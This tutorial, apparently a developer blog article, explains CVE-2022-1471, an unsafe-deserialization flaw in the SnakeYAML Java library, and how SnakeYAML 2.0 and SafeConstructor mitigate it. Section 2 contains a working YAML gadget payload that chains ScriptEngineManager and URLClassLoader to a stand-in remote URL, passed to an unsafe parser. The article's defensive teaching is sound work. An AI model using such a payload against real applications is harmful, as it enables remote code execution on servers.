Resolving CVE-2022-1471 With SnakeYAML 2.0

1. Overview

In this article, we’ll explore CVE-2022-1471, a critical vulnerability in Spring Boot introduced through SnakeYAML, a popular Java library for parsing YAML. We’ll also explore how SnakeYAML 2.0 addresses this issue and how to apply the update in our project to secure our application.

Spring Boot 2.7.x and earlier use SnakeYAML 1.x internally, making applications vulnerable to this issue.

2. Understanding CVE-2022-1471

CVE-2022-1471 is a vulnerability caused by unsafe deserialization in SnakeYAML. The library allows arbitrary objects to be deserialized.

Attackers can exploit this behavior to execute malicious code on the server. This can happen when SnakeYAML deserializes untrusted YAML input containing unexpected or dangerous object types:

public void parse() {
    String exploitPayload = "!!javax.script.ScriptEngineManager [\n" +
            "    !!java.net.URLClassLoader [[\n" +
            "        !!java.net.URL [\"http://dosattack/\"]\n" +
            "    ]]\n" +
            "]";
    // Unsafe YAML parsing
    Yaml yaml = new Yaml();
    Object result = yaml.load(exploitPayload);
    log.info("Deserialized object: {}", result);
}

This parse() method processes a malicious YAML payload that attempts to load an external resource using URLClassLoader. It highlights how untrusted YAML input can lead to the deserialization of dangerous object types, potentially enabling attackers to execute malicious code.

Such vulnerabilities can lead to Remote Code Execution (RCE), making it a critical security concern.

3. SnakeYAML 2.0 Resolves CVE-2022-1471

To mitigate the risk posed by CVE-2022-1471, SnakeYAML introduces key improvements, particularly around safer defaults and strict control over deserialization.

3.1. SafeLoader by Default

In SnakeYAML, a loader converts YAML input into Java objects. Different loaders determine the types of objects that can be deserialized. Before version 2.0, SnakeYAML used a more permissive loader by default, allowing deserialization of arbitrary object types.

SnakeYAML 2.0 now uses the SafeLoader by default. This loader deserializes only basic data types, such as String, Integer, List, and Map. It prevents the deserialization of complex or potentially harmful objects unless they’re explicitly allowed:

Yaml yaml = new Yaml();  // Uses SafeLoader by default

The SafeLoader ensures that only basic data structures are processed, significantly reducing the attack surface for deserialization vulnerabilities.

3.2. Custom Loaders for Advanced Use Cases

SnakeYAML 2.0 allows developers to use custom loaders for applications requiring more complex object deserialization. This enforces better awareness of what types are being deserialized, requiring explicit configuration for handling non-basic types:

Yaml yaml = new Yaml(new Constructor(Customer.class));

While this enables the deserialization of custom types, managing which classes are allowed is essential to ensure security.

4. Mitigating CVE-2022-1471

To mitigate the CVE-2022-1471 vulnerability, we have two options. We can upgrade to SnakeYAML 2.0, which enforces safer deserialization practices by default. Alternatively, we can manually use the SafeConstructor in older versions.

4.1. Upgrade to SakeYAML 2.x

To mitigate this vulnerability we need to upgrade to SnakeYAML 2.x. This version addresses CVE-2022-1471 by enforcing safer deserialization practices by default.

Let’s include SnakeYAML 2.0 in the Maven project by updating the pom.xml:

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>2.3</version>
</dependency>

4.2. Use SafeConstructor for Lower Versions

If upgrading to 2.0 isn’t immediately possible, we can mitigate the vulnerability in earlier versions by using the SafeConstructor manually:

Yaml yaml = new Yaml(new SafeConstructor());

The SafeConstructor restricts the types of objects that can be deserialized, providing a stopgap measure to secure applications using older SnakeYAML versions.

5. Avoiding Unsafe Deserialization

It’s essential to take further precautions to avoid unsafe deserialization in SnakeYAML or any YAML parser:

• Restrict allowed types: We should always restrict deserialization to a limited set of trusted types and avoid deserializing arbitrary or complex object graphs unless necessary.
• Validate Input: We should validate YAML input against a schema or set of expectations before parsing and avoid parsing untrusted YAML data without careful validation.

6. Conclusion

In this quick tutorial, we explored CVE-2022-1471 which introduces a major security risk due to unsafe deserialization in SnakeYAML, particularly in applications using Spring Boot 2.7.x, which relies on the vulnerable SnakeYAML 1.x version. The release of SnakeYAML 2.0 addresses this issue by introducing the SafeLoader, significantly enhancing security.

To protect our application from this vulnerability, upgrading to SnakeYAML 2.0 or overriding the older SnakeYAML version in our Spring Boot projects is crucial.

All code presented in this article is available over on GitHub.